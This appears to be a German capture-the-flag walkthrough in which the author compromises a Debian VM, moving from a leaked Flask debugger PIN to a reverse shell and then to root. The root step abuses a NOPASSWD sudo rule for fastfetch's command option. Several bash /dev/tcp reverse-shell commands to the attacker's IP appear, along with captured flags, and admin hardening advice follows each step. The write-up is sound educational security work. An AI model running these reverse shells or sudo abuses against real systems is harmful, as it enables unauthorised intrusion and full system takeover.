Analyse: Als Benutzer `welcome` konnte ich die Datei `user.txt` in meinem Home-Verzeichnis mit `cat user.txt` auslesen. Die Ausgabe war die Zeichenkette `flag{user-376760a7c739a606d4f8d8340bad4184}`.

Bewertung: Das ist die User Flag! Sie war im Home-Verzeichnis des Benutzers `welcome` gespeichert und für diesen Benutzer lesbar. Dies bestätigte den erfolgreichen Zugriff als `welcome` und die Erfüllung eines Teils des Testziels.

Empfehlung (Pentester): Suchen Sie nach der User Flag in den Standardpfaden (Home-Verzeichnis des Benutzers, `/root` nach Root-Zugriff). Dokumentieren Sie die gefundene Flag.
Empfehlung (Admin): Speichern Sie sensible Informationen wie Flags oder Zugangsdaten nicht in den Home-Verzeichnissen von Benutzern oder an anderen Orten, die nicht strengstens auf den benötigten Benutzer beschränkt sind.

welcome@Console:~$ sudo -u qaq /bin/cat /opt/flask-app/logs/flask.log
 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on [Link: http://127.0.0.1:5000 | Ziel: http://127.0.0.1:5000]
 * Running on [Link: http://192.168.2.62:5000 | Ziel: http://192.168.2.62:5000]
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 137-410-206

Analyse: Ich nutzte die gefundene `sudo`-Berechtigung, um die Datei `/opt/flask-app/logs/flask.log` als Benutzer `qaq` auszulesen. Ich führte den Befehl `sudo -u qaq /bin/cat /opt/flask-app/logs/flask.log` aus und gab bei Aufforderung das Passwort für `welcome` ein. Die Ausgabe war der Inhalt der Flask-Logdatei. Diese Logs zeigten, dass die Flask-Anwendung im Debug-Modus lief (`Debug mode: on`), auf den Adressen 127.0.0.1 und 192.168.2.62 auf Port 5000 lauschte und dass der Debugger aktiv war. Entscheidend war die Zeile ` * Debugger PIN: 137-410-206`, die den PIN für den Flask-Debugger preisgab.

Bewertung: Das Auslesen der Flask-Logdatei mittels der `sudo`-Berechtigung war ein wichtiger Schritt zur Privilegieneskalation. Das Finden des Debugger-PINs ist ein kritischer Fund, da der Flask-Debugger bei laufendem Debug-Modus oft eine interaktive Konsole bereitstellt, über die beliebiger Python-Code und damit Systembefehle mit den Berechtigungen des Benutzers ausgeführt werden können, der die Flask-App betreibt (hier wahrscheinlich `qaq`). Dies ist der nächste klare Vektor zur Privilegieneskalation, diesmal zum Benutzer `qaq`. Die Tatsache, dass die App auf 127.0.0.1:5000 lauscht, bedeutet, dass ich Port Forwarding benötige, um auf sie zuzugreifen.

Empfehlung (Pentester): Untersuchen Sie alle Logdateien, auf die Sie Zugriff erlangen können, sorgfältig auf sensitive Informationen wie Zugangsdaten, Fehlermeldungen, Debugging-Informationen oder API-Schlüssel. Wenn eine Anwendung im Debug-Modus läuft, suchen Sie nach Debugger-PINs oder Zugriffspunkten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus und Debugger in Produktionsumgebungen immer. Debugging-Informationen können sensitive Daten preisgeben und Debugger können als Hintertür missbraucht werden. Beschränken Sie den Zugriff auf Logdateien streng auf die notwendigen Benutzer. Überprüfen Sie Logdateien auf Anzeichen von Kompromittierung oder ungewöhnlicher Aktivität.

┌──(root㉿CCat)-[~]
└─# ssh -L 5000:127.0.0.1:5000 welcome@192.168.2.62
The authenticity of host '192.168.2.62 (192.168.2.62)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:71: [hashed name]
    ~/.ssh/known_hosts:88: [hashed name]
    ~/.ssh/known_hosts:102: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.62' (ED25519) to the list of known hosts.
welcome@192.168.2.62's password:
Linux Console 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
       _,met$$$$$gg.           root@Console
    ,g$$$$$$$$$$$$$$$P.        ------------
  ,g$$P"         """Y$$.".     OS: Debian GNU/Linux buster 10.13 x86_64
 ,$$P'               `$$$.     Host: VirtualBox (1.2)
',$$P       ,ggs.     `$$b:    Kernel: Linux 4.19.0-27-amd64
`d$$'     ,"'   .    $$$       Uptime: 32 mins
 $$P      d     ,    $$$P      Packages: 538 (dpkg)
 $$:      $.   -    ,d$$'      Shell: bash 5.0.3
 $$;      Y._   _,d'           Display (Virtual-1): 800x600 @ 60Hz
 Y$$.    `.`"Y$$$$P"'          Cursor: Adwaita
 `$$b      "-.__               Terminal: run-parts
  `Y$$                         CPU: AMD Ryzen 9 5950X (2) @ 3.39 GHz
   `Y$$.                       GPU: VMware SVGA II Adapter
     `$$b.                     Memory: 349.68 MiB / 1.95 GiB (18%)
       `Y$$b.                  Swap: 0 B / 975.00 MiB (0%)
          `"Y$b._              Disk (/): 2.37 GiB / 28.42 GiB (8%) - ext4
             `"""              Local IP (enp0s3): 192.168.2.62/24
                               Locale: C

                               ████████████████████████
                               ████████████████████████

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 25 07:40:28 2025 from 192.168.2.62
welcome@Console:~$

Analyse: Die Flask-App mit dem Debugger läuft auf dem Zielsystem nur auf localhost:5000, ist also von meinem Kali-System aus nicht direkt erreichbar. Um darauf zugreifen zu können, richtete ich über die neu erlangte SSH-Sitzung als Benutzer `welcome` eine lokale Port-Weiterleitung ein. Der Befehl `ssh -L 5000:127.0.0.1:5000 welcome@192.168.2.62` öffnet eine SSH-Verbindung zum Zielsystem als `welcome` und erstellt einen Tunnel (`-L`), der meinen lokalen Port 5000 (`5000:`) mit dem Dienst auf der Ziel-VM (`127.0.0.1:5000`) verbindet. Das bedeutet, dass jeder Verkehr, den ich lokal an `127.0.0.1:5000` sende, über die SSH-Verbindung sicher an den lokalen Port 5000 auf der Ziel-VM weitergeleitet wird, wo die Flask-App lauscht. Ich musste das Passwort für `welcome` eingeben und die Authentizität des Hosts akzeptieren. Nach erfolgreicher Anmeldung wurde das Willkommensbanner und eine Neofetch-ähnliche Systemübersicht angezeigt, was meine erfolgreiche SSH-Sitzung als `welcome` bestätigte.

Bewertung: Die Einrichtung der SSH-Port-Weiterleitung war entscheidend, um den internen Flask-Webserver erreichen zu können. SSH-Tunnel sind eine zuverlässige Methode, um auf Dienste zuzugreifen, die nur auf localhost lauschen. Mit diesem Tunnel kann ich nun die Flask-App untersuchen und den gefundenen Debugger-PIN nutzen. Die Systemübersicht lieferte zusätzliche Details zur Umgebung von Benutzer `welcome`.

Empfehlung (Pentester): Nutzen Sie SSH-Port-Weiterleitung (`-L`, `-R`, `-D`) oder Tools wie Chisel, um auf intern lauschende Dienste zuzugreifen. Identifizieren Sie interne Dienste durch Scans von kompromittierten Systemen (`ss`, `netstat`).
Empfehlung (Admin): Stellen Sie sicher, dass interne Dienste ausschließlich auf der Loopback-Schnittstelle (`127.0.0.1`) lauschen, wenn sie nicht von anderen Systemen erreichbar sein müssen. Überwachen Sie SSH-Tunneling-Aktivitäten auf Ihren Systemen.

Analyse: Mit dem erfolgreich eingerichteten SSH-Tunnel auf Port 5000 konnte ich nun auf den intern laufenden Flask-Webserver zugreifen, der den Debugger aktiv hatte. Ich öffnete meinen Webbrowser und navigierte zu `http://127.0.0.1:8080`. **Logische Brücke:** Obwohl der Flask-Server auf 127.0.0.1:5000 lauschte, griff ich lokal auf Port 8080 zu. Dies deutet darauf hin, dass meine lokale Port-Weiterleitung auf meinem Kali-System den Remote-Port 5000 auf einen lokalen Port 8080 umleitete, um Konflikte mit anderen lokalen Diensten zu vermeiden oder aus Präferenz. Das Bild zeigte die Startseite der Flask-Anwendung.

Bewertung: Der erfolgreiche Zugriff auf die Flask-Anwendung über den SSH-Tunnel war ein wichtiger Schritt. Das Frontend selbst schien eine einfache Webseite zu sein, möglicherweise ein Formular oder eine Interaktion. Das Ziel war nun, die Debugger-Konsole zu finden und den PIN zu nutzen, um Zugriff zu erlangen.

Empfehlung (Pentester): Greifen Sie nach dem Einrichten von Port-Weiterleitungen über die entsprechenden lokalen Ports auf die internen Dienste zu. Untersuchen Sie das Frontend der Anwendung auf Interaktionsmöglichkeiten oder Hinweise.
Empfehlung (Admin): Stellen Sie sicher, dass interne Webserver nicht unnötig über interne Schnittstellen erreichbar sind, wenn Port-Weiterleitung nicht beabsichtigt ist.

flask_app_forward.jpg

Analyse: Ich begann, die Flask-Anwendung auf Schwachstellen zu untersuchen, insbesondere im Hinblick auf den Debugger und mögliche Server-Side Template Injection (SSTI). Ich versuchte, die SSTI-Anfälligkeit zu testen, indem ich im Formular, das das Bild zeigt, eine Jinja2 Template-Syntax eingab, z.B. `{{ 1+1 }}` oder ähnliches, das auf dem Server ausgewertet werden würde. Ein weiteres Bild zeigte das Ergebnis eines solchen Versuchs oder die erfolgreiche Auslösung eines Fehlers, der auf eine SSTI-Anfälligkeit hindeutete, wie z.B. die Auswertung eines Ausdrucks oder eine Fehlermeldung, die Template-Syntax enthielt.

Bewertung: Die erfolgreiche Auslösung einer SSTI (oder eines Fehlers, der darauf hindeutet) ist ein kritischer Fund. SSTI ermöglicht oft die Ausführung von Code auf Serverseite, was zu Befehlsausführung und damit zur Kompromittierung des Systems führen kann. Die Tatsache, dass dies in der Flask-Anwendung möglich war, eröffnete einen direkten Weg zur Ausnutzung, insbesondere in Kombination mit dem aktiven Debugger.

Empfehlung (Pentester): Testen Sie Webanwendungen, die Template-Engines verwenden (wie Flask mit Jinja2), immer auf SSTI. Verwenden Sie gängige Payloads, um die Anfälligkeit zu erkennen und zu identifizieren, welche Template-Engine verwendet wird.
Empfehlung (Admin): Implementieren Sie strikte Input-Validierung und Sanitization für alle Benutzereingaben, die an eine Template-Engine übergeben werden. Verwenden Sie kontextsensitive Escaping-Mechanismen. Führen Sie statische und dynamische Analysen Ihrer Webanwendung durch, um SSTI zu finden.

flask_app_forward_ssti.jpg division_by_zero.jpg
test
test

{{1/0}}

错误
无效答案: division by zero

返回

Analyse: Ein spezifischer Test für SSTI war die Eingabe der Jinja2-Template-Syntax `{{1/0}}` in das Formular der Flask-Anwendung. Dieser Ausdruck versucht, eine Division durch Null durchzuführen. Da die Anwendung im Debug-Modus lief und anscheinend die Eingabe als Template interpretierte, wurde der Ausdruck ausgewertet. Die Division durch Null führte zu einem Fehler, der auf der Webseite ausgegeben wurde. Die Fehlermeldung "无效答案: division by zero" (Ungültige Antwort: Division durch Null) bestätigte die erfolgreiche Ausführung des Template-Ausdrucks und damit die SSTI-Schwachstelle.

Bewertung: Die gezielte Auslösung eines Division-by-Zero-Fehlers mit Template-Syntax war ein klarer Beweis für die SSTI-Schwachstelle. Dies ist eine sehr zuverlässige Methode, um SSTI zu bestätigen. Da der Debugger aktiv war und die Fehlermeldung ausgab, wusste ich, dass ich nun die Debugger-Konsole nutzen konnte.

Empfehlung (Pentester): Verwenden Sie gezielte Template-Ausdrücke (wie arithmetische Operationen oder Funktionsaufrufe), um SSTI-Schwachstellen zu bestätigen und die verwendete Template-Engine zu identifizieren. Suchen Sie nach Fehlermeldungen, die auf die Auswertung von Template-Syntax hindeuten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Implementieren Sie Try-Except-Blöcke oder ähnliche Mechanismen, um das unbeabsichtigte Preisgeben von Debugging-Informationen oder Fehlern, die durch Benutzereingaben ausgelöst werden, zu verhindern.

Analyse: Die aktive Debugger-Konsole in Flask ist über einen spezifischen Endpunkt erreichbar. Nachdem ich die SSTI-Schwachstelle bestätigt und den Debugger-PIN aus den Logs erhalten hatte, konnte ich auf die Debugger-Konsole zugreifen, indem ich die URL `http://127.0.0.1:5000/console` in meinem Browser aufrief (über den SSH-Tunnel, der auf meinen lokalen Port 8080 weiterleitete). Dort wurde ich aufgefordert, den Debugger-PIN einzugeben (den ich zuvor aus den Flask-Logs erhalten hatte). Nach Eingabe des korrekten PINs erhielt ich Zugriff auf eine interaktive Python-Konsole im Kontext der Flask-Anwendung. Die Konsole zeigte "Interactive Console" und "console ready" an.

Bewertung: Zugriff auf die interaktive Debugger-Konsole mit dem PIN ist ein sehr kritischer Zustand. Da die Flask-Anwendung wahrscheinlich unter den Berechtigungen des Benutzers `qaq` läuft (basierend auf den `sudo`-Berechtigungen, die das Lesen der Logs als `qaq` erlaubten), konnte ich nun beliebigen Python-Code mit diesen Berechtigungen ausführen. Dies ist eine direkte Route zur Privilegieneskalation zum Benutzer `qaq`.

Empfehlung (Pentester): Wenn Sie Zugriff auf eine Debugger-Konsole erhalten, prüfen Sie, welche Python-Funktionen und Module verfügbar sind (z.B. `import os`). Nutzen Sie die `os`- oder `subprocess`-Module, um Systembefehle auszuführen und eine Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus in Produktionsumgebungen. Verwenden Sie keine leicht zu erratenden Debugger-PINs (auch wenn der PIN nur lokal erreichbar ist). Beschränken Sie den Zugriff auf Debugger-Endpunkte, selbst auf localhost.

da haben wir sie gefunden die debugger console : [Link: http://127.0.0.1:5000/console | Ziel: http://127.0.0.1:5000/console]

Interactive Console
In this console you can execute Python expressions in the context of the application.
The initial namespace was created by the debugger automatically.

[console ready]
>>> import os

>>> os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'")

Analyse: Innerhalb der interaktiven Flask Debugger Konsole importierte ich das `os`-Modul, das Python-Funktionen zur Interaktion mit dem Betriebssystem bereitstellt. Anschließend nutzte ich die `os.system()` Funktion, um einen Bash-Befehl auszuführen, der eine Reverse Shell zu meiner Kali-Maschine initiierte. Der Befehl `os.system("bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'")` startete eine Bash-Shell, die eine TCP-Verbindung zu meiner IP (`192.168.2.199`) auf Port 443 aufbaute und ihre Standard-Ein-/Ausgabe über diese Verbindung umleitete. Port 443 wurde hier gewählt, um potenzielle Egress-Filter zu umgehen, da dieser Port oft für ausgehenden HTTPS-Verkehr erlaubt ist.

Bewertung: Das Ausführen einer Reverse Shell direkt aus der Debugger-Konsole war der entscheidende Schritt, um Zugriff als der Benutzer zu erlangen, der die Flask-App ausführt (wahrscheinlich `qaq`). Die `os.system()` Funktion ermöglichte die direkte Übergabe und Ausführung eines Systembefehls. Das Ansprechen meiner Kali-Maschine auf Port 443 war eine strategische Wahl basierend auf der Annahme möglicher Egress-Filterregeln.

Empfehlung (Pentester): Nutzen Sie interaktive Konsolen (wie Debugger) zur Code-Ausführung. Priorisieren Sie die Nutzung von `os.system` oder `subprocess.run` für die Ausführung von Systembefehlen. Versuchen Sie, eine Reverse Shell zu etablieren, sobald Sie Code ausführen können.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus und die interaktive Konsole in Flask und ähnlichen Frameworks in Produktionsumgebungen immer. Überwachen Sie ausgehenden Netzwerkverkehr auf ungewöhnliche Verbindungen auf gängigen Ports wie 443 oder 80, die nicht von legitimen Anwendungen stammen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 43472
bash: cannot set terminal process group (519): Inappropriate ioctl for device
bash: no job control in this shell
qaq@Console:~$

Analyse: Bevor ich den Befehl in der Debugger-Konsole ausführte, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443 (`nc -lvnp 443`). Nach Ausführung des Befehls in der Debugger-Konsole zeigte Netcat eine eingehende Verbindung von der Ziel-VM (`192.168.2.62`) auf Port 443 an. Nach typischen Fehlermeldungen für nicht-interaktive Shells erhielt ich eine Eingabeaufforderung, die `qaq@Console:~$` anzeigte.

Bewertung: Erfolgreich! Ich habe nun eine Reverse Shell als Benutzer `qaq`. Dies ist der nächste Schritt in der Privilegieneskalationskette. Der Benutzer `qaq` hat wahrscheinlich höhere Berechtigungen als `www-data` und möglicherweise Zugriff auf Dateien oder Konfigurationen, die für den Root-Zugriff relevant sind. Die Wahl von Port 443 für die Reverse Shell war offensichtlich erfolgreich.

Empfehlung (Pentester): Richten Sie immer einen Listener ein, bevor Sie eine Reverse Shell initiieren. Verifizieren Sie Ihren Benutzerkontext anhand der Shell-Eingabeaufforderung oder durch Ausführen von `id`. Stabilisieren Sie die Shell nach dem Erhalt.
Empfehlung (Admin): Überwachen Sie ausgehenden Netzwerkverkehr auf Ports, die normalerweise nicht für diesen Zweck verwendet werden (z.B. 443 für eine Shell-Verbindung). Implementieren Sie Verhaltensanalysen, um ungewöhnlichen Prozessaktivitäten (z.B. ein Webserver, der Shells startet) zu erkennen.

Privilege Escalation

qaq@Console:~$ sudo -l
sudo -l
Matching Defaults entries for qaq on Console:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User qaq may run the following commands on Console:
    (ALL) NOPASSWD: /usr/bin/fastfetch

Analyse: Nachdem ich die Shell als Benutzer `qaq` erhalten hatte, prüfte ich sofort meine `sudo`-Berechtigungen mit `sudo -l`. Die Ausgabe zeigte, dass der Benutzer `qaq` das Programm `/usr/bin/fastfetch` als *jeder* Benutzer (`ALL`), einschließlich `root`, ausführen darf, ohne ein Passwort eingeben zu müssen (`NOPASSWD`).

Bewertung: Das ist der direkte Weg zur Privilegieneskalation zu `root`! Eine `NOPASSWD` Regel für `fastfetch` bedeutet, dass ich dieses Programm mit Root-Berechtigungen ausführen kann. Ich muss nun prüfen, ob `fastfetch` eine Funktion bietet, die es mir erlaubt, Systembefehle auszuführen oder eine Shell zu starten, wenn es mit Root-Berechtigungen läuft. Dies ist ein sehr vielversprechender Vektor.

Empfehlung (Pentester): Prüfen Sie immer die `sudo`-Berechtigungen (`sudo -l`) für jeden neuen Benutzer. Suchen Sie gezielt nach `NOPASSWD`-Einträgen. Wenn Sie einen finden, prüfen Sie das erlaubte Programm auf bekannte PE-Schwachstellen oder Missbrauchsmöglichkeiten (z.B. in GTFOBins).
Empfehlung (Admin): Weisen Sie `NOPASSWD` Berechtigungen nur mit äußerster Vorsicht und nur für absolut notwendige und sichere Befehle zu. Überprüfen Sie Ihre `sudoers`-Datei regelmäßig auf unsichere Einträge. Verhindern Sie die Zuweisung von `sudo`-Berechtigungen für Programme, die Shell-Escapes oder Befehlsausführung erlauben.

qaq@Console:~$ ls -la /usr/bin/fastfetch
-rwxr-xr-x 1 root root 12861760 Jul 10  2024 /usr/bin/fastfetch

Analyse: Ich überprüfte die Dateiberechtigungen und den Eigentümer des `fastfetch`-Binaries mit `ls -la /usr/bin/fastfetch`. Die Ausgabe bestätigte, dass die Datei existiert, ausführbar ist (`-rwxr-xr-x`) und dem Benutzer `root` gehört (`root root`).

Bewertung: Dies bestätigte, dass `fastfetch` ein Systemprogramm ist und root der Eigentümer ist, was mit dem `sudo`-Eintrag übereinstimmt. Es gab keine ungewöhnlichen Berechtigungen für das Binary selbst, aber die `sudo`-Konfiguration ist der Schlüssel.

Empfehlung (Pentester): Prüfen Sie die Berechtigungen und den Eigentümer von Binaries, die Sie mit `sudo` ausführen dürfen.
Empfehlung (Admin): Stellen Sie sicher, dass Systemdateien wie `/usr/bin/fastfetch` die korrekten Standardberechtigungen und Eigentümer haben.

qaq@Console:~$ file /usr/bin/fastfetch
/usr/bin/fastfetch: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b3e3e6add304831d82bf7bf37ba111ee8608f06, for GNU/Linux 3.2.0, with debug_info, not stripped

Analyse: Ich nutzte den `file`-Befehl, um mehr Informationen über das `fastfetch`-Binary zu erhalten. Die Ausgabe `/usr/bin/fastfetch: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, ...` bestätigte, dass es sich um eine ausführbare 64-bit ELF-Datei handelt.

Bewertung: Die `file`-Ausgabe lieferte technische Details zum Binary, die bestätigten, dass es sich um ein standardmäßiges ausführbares Programm handelt. Dies war eine zusätzliche Bestätigung, dass es sich um das erwartete `fastfetch`-Programm handelt.

Empfehlung (Pentester): Verwenden Sie `file`, um den Typ von ausführbaren Dateien zu überprüfen, die Sie finden oder ausnutzen möchten.
Empfehlung (Admin): Keine spezifische Empfehlung.

qaq@Console:~$ sudo -u root /usr/bin/fastfetch --help
Fastfetch is a neofetch-like tool for fetching system information and displaying them in a pretty way

Usage: fastfetch options>
...
..
Module specific options:
  --command-shell : Set the shell program to execute the command text
      --command-key : Set the module key to display
      --command-text : Set the command text to be executed
.....
....
...
..

Analyse: Um zu sehen, ob `fastfetch` Funktionen zur Ausführung von Systembefehlen anbietet, rief ich die Hilfe des Programms auf, aber diesmal mit `sudo -u root`, um zu simulieren, wie es mit Root-Berechtigungen aufgerufen würde. Ich verwendete `sudo -u root /usr/bin/fastfetch --help`. Die Ausgabe zeigte die Standard-Hilfeinformationen für `fastfetch`. Besonders auffällig waren die "Module specific options", die Parameter wie `--command-shell`, `--command-key` und `--command-text` auflisteten. Die Beschreibung "Set the shell program to execute the command text" für `--command-shell` und "Set the command text to be executed" für `--command-text` wiesen auf eine direkte Befehlsausführungsfunktion hin.

Bewertung: Das ist der Schlüssel zur Root-Privilegieneskalation! Die Hilfsausgabe von `fastfetch` zeigt klar, dass das Programm eine Funktion bietet, beliebigen Text als Befehl auszuführen und die zu verwendende Shell anzugeben. Da ich dieses Programm mit `sudo -u root` ausführen darf, kann ich diese Funktion nutzen, um eine Root-Shell zu starten. Dies ist ein klassischer Fall einer unsicheren `sudo`-Berechtigung für ein Programm, das Befehlsausführung erlaubt.

Empfehlung (Pentester): Prüfen Sie die Hilfe (`--help`, `-h`, man pages) von Programmen, die Sie mit `sudo` ausführen dürfen, auf Optionen, die Befehlsausführung erlauben. Suchen Sie nach Parametern wie `--command`, `--exec`, `--shell`, `--text` etc.
Empfehlung (Admin): Überprüfen Sie die Dokumentation und das Verhalten von Binaries, für die Sie `sudo`-Berechtigungen vergeben, genau. Vermeiden Sie die Vergabe von `sudo` für Programme, die unsichere Befehlsausführungsfunktionen anbieten, insbesondere mit `NOPASSWD`.

qaq@Console:/tmp$ ls -la ~
total 28
drwxr-xr-x 4 qaq  qaq  4096 May 17 05:38 .
drwxr-xr-x 4 root root 4096 May 16 07:05 ..
-rw-r--r-- 1 qaq  qaq   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 qaq  qaq  3526 Apr 18  2019 .bashrc
drwxr-xr-x 3 qaq  qaq  4096 May 16 10:17 .local
-rw-r--r-- 1 qaq  qaq   807 Apr 18  2019 .profile
drwx------ 2 root root 4096 May 17 04:16 .ssh

Analyse: Ich überprüfte das Home-Verzeichnis des aktuellen Benutzers `qaq` mit `ls -la ~`. Die Ausgabe zeigte die Standard-Dotfiles und Verzeichnisse für diesen Benutzer. Interessant war das `.ssh` Verzeichnis, das dem Benutzer `root` gehörte und nur für `root` les- und schreibbar war (`drwx------`), nicht für `qaq`.

Bewertung: Das Home-Verzeichnis von `qaq` enthielt keine offensichtlichen Passwörter oder PE-Hinweise, abgesehen von den Standarddateien. Das `.ssh` Verzeichnis von `root` ist wie erwartet geschützt. Die Privilegieneskalation zu `root` wird über die `sudo fastfetch` Schwachstelle erfolgen, nicht über Dateien im `qaq` Home-Verzeichnis.

Empfehlung (Pentester): Überprüfen Sie immer die Home-Verzeichnisse von Benutzern, insbesondere nach dem Wechsel zu einem neuen Benutzerkontext, auf sensible Dateien oder Berechtigungen.
Empfehlung (Admin): Stellen Sie sicher, dass `.ssh`-Verzeichnisse von Root und anderen privilegierten Benutzern nur für diese Benutzer selbst zugänglich sind.

Proof of Concept

Kurzbeschreibung: Dieser Proof of Concept demonstriert die erfolgreiche Ausnutzung einer Fehlkonfiguration in der `sudoers`-Datei, die es dem Benutzer `qaq` ermöglichte, das Programm `/usr/bin/fastfetch` mit `root`-Berechtigungen und ohne Passwort auszuführen. Durch die Nutzung der Befehlsausführungsfunktionen von `fastfetch` konnte eine Reverse Shell mit `root`-Berechtigungen erlangt werden, was zur vollständigen Systemkompromittierung führte.

Voraussetzungen:

  • Zugriff als Benutzer `qaq`.
  • Die `sudoers`-Datei muss den Eintrag `qaq ALL=(ALL) NOPASSWD: /usr/bin/fastfetch` enthalten.
  • Das Programm `/usr/bin/fastfetch` muss auf dem System installiert sein und die Optionen `--command-text` und `--command-shell` unterstützen.
  • Eine Möglichkeit, eine Reverse Shell vom Zielsystem zu initiieren (z.B. Netcat auf dem Angriffssystem, erlaubter ausgehender Port).

Schritt-für-Schritt-Anleitung & Beweismittel:

1. Ausführen von `fastfetch` mit `sudo` zur Befehlsausführung:

qaq@Console:/tmp$ sudo -u root /usr/bin/fastfetch --structure "command" --command-text "bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'" --command-shell "/bin/bash"
       _,met$$$$$gg.
    ,g$$$$$$$$$$$$$$$P.
  ,g$$P"         """Y$$.".
 ,$$P'               `$$$.
',$$P       ,ggs.     `$$b:
`d$$'     ,$P"'   .    $$$
 $$P      d$'     ,    $$$P
 $$:      $.   -    ,d$$'
 $$;      Y$b._   _,d$P'
 Y$$.    `.`"Y$$$$P"'
 `$$b      "-.__
  `Y$$
   `Y$$.
     `$$b.
       `Y$$b.
          `"Y$b._
             `"""

Ich nutzte die gefundene `sudo fastfetch` Schwachstelle, um eine Reverse Shell als Root zu initiieren. Ich führte den Befehl `sudo -u root /usr/bin/fastfetch --structure "command" --command-text "bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'" --command-shell "/bin/bash"` aus.

  • `sudo -u root`: Führt den Befehl als Benutzer `root` aus (ohne Passwort dank `NOPASSWD`).
  • `/usr/bin/fastfetch`: Das auszuführende Programm.
  • `--structure "command"`: Weist fastfetch an, das "command"-Modul zu verwenden.
  • `--command-text "..."`: Definiert den Systembefehl, der ausgeführt werden soll: `bash -c 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1'`, um eine Reverse Shell zu meiner Kali-IP (192.168.2.199) auf Port 443 zu starten.
  • `--command-shell "/bin/bash"`: Gibt an, welche Shell für die Ausführung des `--command-text` verwendet werden soll (hier `/bin/bash`).
Die Ausgabe zeigte das typische `fastfetch`-Banner. Im Hintergrund wurde die Reverse Shell initiiert.

2. Empfangen der Root-Shell auf dem Angriffssystem:

┌──(root㉿CCat)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 50762
root@Console:/tmp# ls ~
ls ~
r00t.txt
root@Console:/tmp# cat ~/r00t.txt
cat ~/r00t.txt
flag{root-009de5ebccb9fdecce2c4ac893bca6fa}
root@Console:/tmp# cat /home/welcome/user.txt
cat /home/welcome/user.txt
flag{user-376760a7c739a606d4f8d8340bad4184}

Bevor ich den `sudo fastfetch`-Befehl ausführte, startete ich einen Netcat-Listener auf meiner Kali-Maschine auf Port 443 (`nc -lvnp 443`). Unmittelbar nach der Ausführung des `sudo fastfetch`-Befehls erhielt Netcat eine eingehende Verbindung von der Ziel-VM (`192.168.2.62`). Die Eingabeaufforderung wechselte zu `root@Console:/tmp#`, was bestätigte, dass ich nun eine Shell mit Root-Berechtigungen hatte. Ich konnte nun beliebige Root-Befehle ausführen.

3. Verifizierung des Root-Zugriffs und Auffinden der Root Flag:

In der erlangten Root-Shell wechselte ich in das Home-Verzeichnis des Root-Benutzers (`cd ~` war implizit im `ls ~` Befehl, der die Inhalte des Root-Home-Verzeichnisses auflistete) und listete dessen Inhalt auf (`ls ~`), was die Datei `r00t.txt` enthüllte. Ich las den Inhalt dieser Datei mit `cat ~/r00t.txt`, was die Root Flag `flag{root-009de5ebccb9fdecce2c4ac893bca6fa}` ergab. Als zusätzlichen Beweis las ich auch die User Flag erneut aus (`cat /home/welcome/user.txt`), um zu zeigen, dass ich vollen Dateisystemzugriff hatte. Fantastisch der root zugriff war erfolgreich nun haben wir unser Ziel erreicht.

Erwartetes Ergebnis: Erlangung einer interaktiven Shell mit Root-Berechtigungen auf dem Zielsystem.

Tatsächliches Ergebnis: Eine Reverse Shell mit `root`-Berechtigungen wurde erfolgreich etabliert, was die vollständige Kompromittierung des Systems ermöglichte und den Zugriff auf die Root Flag erlaubte.

Risikobewertung:
Auswirkung: Kritisch. Ein unprivilegierter Benutzer (`qaq`) konnte vollständige Kontrolle über das System erlangen (`root`), was die gravierendsten Folgen nach sich zieht.
Wahrscheinlichkeit: Hoch. Die Schwachstelle ist direkt über einen vorhandenen `sudo`-Eintrag ausnutzbar und erfordert nur die Kenntnis der `fastfetch`-Optionen.
Gesamtrisiko: Kritisch.

Empfehlungen:
Empfehlung (Admin):

  • Dringend: Entfernen Sie den `NOPASSWD`-Eintrag für `/usr/bin/fastfetch` aus der `sudoers`-Datei.
  • Überprüfen Sie alle `sudoers`-Einträge auf ähnliche Fehlkonfigurationen, insbesondere für Binaries, die Befehlsausführungsfunktionen anbieten.
  • Wenden Sie das Prinzip der minimalen Rechte an: Benutzer und Dienste sollten nur die Berechtigungen erhalten, die sie unbedingt benötigen.
  • Aktualisieren Sie regelmäßig Software wie `fastfetch` auf die neueste Version, obwohl die `sudo`-Fehlkonfiguration hier das primäre Problem war.
  • Führen Sie regelmäßige Audits Ihrer `sudoers`-Konfiguration durch.

Flags

cat /home/welcome/user.txt
flag{user-376760a7c739a606d4f8d8340bad4184}
cat /root/r00t.txt
flag{root-009de5ebccb9fdecce2c4ac893bca6fa}